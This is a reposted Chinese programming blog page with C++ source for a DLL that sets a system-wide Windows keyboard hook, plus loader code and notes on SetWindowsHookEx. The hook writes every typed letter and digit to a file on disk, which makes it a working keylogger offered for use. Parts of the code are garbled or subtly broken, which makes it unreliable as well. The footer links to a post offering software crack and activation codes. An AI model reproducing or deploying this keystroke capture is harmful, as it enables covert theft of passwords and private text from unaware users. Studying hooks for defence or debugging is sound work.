全局消息钩子代码

全局消息钩子代码代码 ifndef UdiskHook h define UdiskHook h include http blog csdn net defaultbyzt ifdef cplusplusext C endif defineDLL EXPORT ifdefDLL EXPO

代码

#ifndef __UdiskHook_h__ #define __UdiskHook_h__ #ifdef __cplusplus extern "C" { #endif #define DLL_EXPORT // #ifdef DLL_EXPORT #define DLLAPI __declspec(dllexport) #else #define DLLAPI __declspec(dllimport) #endif LRESULT DLLAPI CALLBACK HookProcAll(int nCode, WPARAM wParam, LPARAM lParam); LRESULT DLLAPI CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam); BOOL DLLAPI SetHookProc(); BOOL DLLAPI UnHookProc(); #ifdef __cplusplus } #endif #endif // __UdiskHook_h__
 #include "UdiskHook.h" #include 
  
    #include 
   
     HHOOK hHook; int g_time = 0; HMODULE GetSelfModuleHandle() { MEMORY_BASIC_INFORMATION mbi; return ((::VirtualQuery(GetSelfModuleHandle, &mbi, sizeof(mbi)) != 0) ? (HMODULE)mbi.AllocationBase : NULL); } LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (0 == g_time) { g_time = 1; hHook = SetWindowsHookEx(WH_KEYBOARD, HookProcAll, GetSelfModuleHandle(), 0); } if (wParam == ' ' && 0 != g_time)// 空格卸载 { g_time = 0; UnhookWindowsHookEx(hHook); } return CallNextHookEx(NULL, nCode, wParam, lParam); //传递钩子信息 } LRESULT CALLBACK HookProcAll(int nCode, WPARAM wParam, LPARAM lParam) { // 记录按键 if ('a' <= wParam && 'z' >= wParam || 'A' <= wParam && 'Z' >= wParam || '0' <= wParam && '9' >= wParam) { std::ofstream outFile; outFile.open("e:\\ttt.txt", std::ios::app); char ch = wParam; outFile << ch; outFile.close(); } return CallNextHookEx(NULL, nCode, wParam, lParam); } int Time1 = 0; HHOOK hHook1 = NULL; BOOL SetHookProc() { if (0 == g_time) { Time1 = 1; hHook1 = SetWindowsHookEx(WH_KEYBOARD, HookProcAll, GetSelfModuleHandle(), 0); return TRUE; } return FALSE; } BOOL UnHookProc() { if (1 == Time1) { UnhookWindowsHookEx(hHook1); return TRUE; } return FALSE; } 
    
  

程序中加载钩子的代码

typedef HHOOK (_stdcall* Hook)(int ,WPARAM ,LPARAM ); HINSTANCE hDll = LoadLibrary("UdiskHook.dll");//加载动态链接库文件; if (hDll != NULL) { Hook HookProc=(Hook)GetProcAddress(hDll ,"_HookProc@12"); if (HookProc != NULL) { hHook = SetWindowsHookEx(WH_KEYBOARD , (HOOKPROC)HookProc                                 , hDll                                , GetCurrentThreadId() // 为0时是全局钩子                                   ); } FreeLibrary(hDll);//卸载dll文件; }

HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);

idHook:指示欲被安装的挂钩处理过程之类型,此参数可以是以下值之一:

lpfn:指向相应的挂钩处理过程.若参数dwThreadId为0或者指示了一个其他进程创建的线程之标识符,则参数lpfn必须指向一个动态链接中的挂钩处理过程.否则,参数lpfn可以指向一个与当前进程相关的代码中定义的挂钩处理过程.

hMod:指示了一个动态链接的句柄,该动态连接库包含了参数lpfn 所指向的挂钩处理过程.若参数dwThreadId指示的线程由当前进程创建,并且相应的挂钩处理过程定义于当前进程相关的代码中,则参数hMod必须被设置为NULL(0).

dwThreadId:指示了一个线程标识符,挂钩处理过程与线程相关.若此参数值为0,则该挂钩处理过程与所有现存的线程相关.

返回值:若此函数执行成功,则返回值就是该挂钩处理过程的句柄;若此函数执行失败,则返回值为NULL(0).若想获得更多错误信息,请调用GetLasError函数.

备注:若参数hMod为NULL,而参数dwThreadld为0或者指示了一个其他进程创建的线程标识符,则会产生错误.

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/177663.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午6:59
下一篇 2026年3月26日 下午7:00


相关推荐

  • 如何用Python部署GLM-4-32B-0414模型?

    如何用Python部署GLM-4-32B-0414模型?

    2026年3月12日
    3
  • C语言实现有限状态机

    C语言实现有限状态机1 什么是有限状态机有限状态机在百度百科上的解释为 有限状态自动机 FSM finitestatem 或者 FSA finitestatea 是为研究有限内存的计算过程和某些语言类而抽象出的一种计算模型 有限状态自动机拥有有限数量的状态 每个状态可以迁移到零个或多个状态 输入字串决定执行哪个状态的迁移 有限状态自动机可以表示为一个有向图 2 有

    2026年3月19日
    2
  • 轮询与长轮询_轮询和中断

    轮询与长轮询_轮询和中断轮询:说白了就是客户端定时去请求服务端,是客户端主动请求来促使数据更新;长轮询:说白了也是客户端请求服务端,但是服务端并不是即时返回,而是当有内容更新的时候才返回内容给客户端,从流程上讲,可以理解为服务器向客户端推送内容;从中大家可以看出区别:轮询:1:大量耗费服务器内存和宽带资源,因为不停的请求服务器,很多时候并没有新的数据更新,因此绝大部分请求都是无效请…

    2026年4月13日
    5
  • CSDN博客积分计算规则

    CSDN博客积分计算规则CSDN 博客积分计算规则 1 每公布一篇原创或者翻译文章 可获得 10 分 2 每公布一篇转载文章 可获得 2 分 3 博主的文章每被评论一次 可获得 1 分 4 每发表一次评论 可获得 1 分 自己给自己评论 博主回复别人对自己博文的评论不获得积分 5 博文阅读次数每超过 100 次 可获得 1 分 阅读加分最高加到 100 分 即文章点击上万次截止 6 文章被投票 顶 1 票加 1 分 踩 1 票减 1 分

    2026年3月19日
    2
  • 指纹识别算法c++实现

    指纹识别算法c++实现指纹算法需求指纹特征值生成 比对 API 库需求 可输出指纹图像 图像格式为 bmp 小于等于 500DPI 不大于 50K 可输出指纹模板 生成模板需要至少采集几次指纹需说明 建议不超过三次 模板大小不超过 1K 模板生成时间不大于 1 秒 可输出指纹特征值 可以是非字符串格式 特征值大小不超过 512B 可输出指纹特征值字符串 字符串为可见字符 长度不超 1024 指纹比对时 支持输入指纹特征值字符串比对 指纹比对时 支

    2026年3月16日
    2
  • navict15激活码【在线注册码/序列号/破解码】

    navict15激活码【在线注册码/序列号/破解码】,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月18日
    42

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号